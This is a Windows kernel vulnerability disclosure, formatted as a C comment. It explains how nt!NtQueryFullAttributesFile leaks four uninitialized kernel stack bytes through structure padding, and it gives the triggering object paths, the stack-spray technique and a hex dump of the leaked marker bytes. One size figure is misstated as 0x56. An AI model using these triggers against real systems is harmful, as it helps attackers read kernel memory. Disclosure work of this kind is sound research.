/* We have discovered that the nt!NtQueryFullAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are: --- cut --- "\GLOBAL??\D:\"(CD-ROM partition) "\GLOBAL??\CdRom0\" "\GLOBAL??\FltMgr" "\GLOBAL??\FltMgr\" "\GLOBAL??\MAILSLOT\" "\GLOBAL??\Volume{GUID}\" "\GLOBAL??\PIPE\" "\Device\CdRom0\" "\Device\NamedPipe\" "\Device\Mailslot\" --- cut --- The output structure returned by the system call is FILE_NETWORK_OPEN_INFORMATION [1]: --- cut --- typedef struct _FILE_NETWORK_OPEN_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; --- cut --- It occupies 52 (0x34) bytes in memory, but due to alignment to an 8-byte boundary, it is effectively 0x56 (0x38) bytes long. In case of most of the above affected paths, the problem is that the 4 trailing bytes of padding are never initialized. As the kernel uses a temporary copy of the structure (allocated in the stack frame of nt!NtQueryFullAttributesFile) that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryFullAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below: --- cut --- Name: \GLOBAL??\D:\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
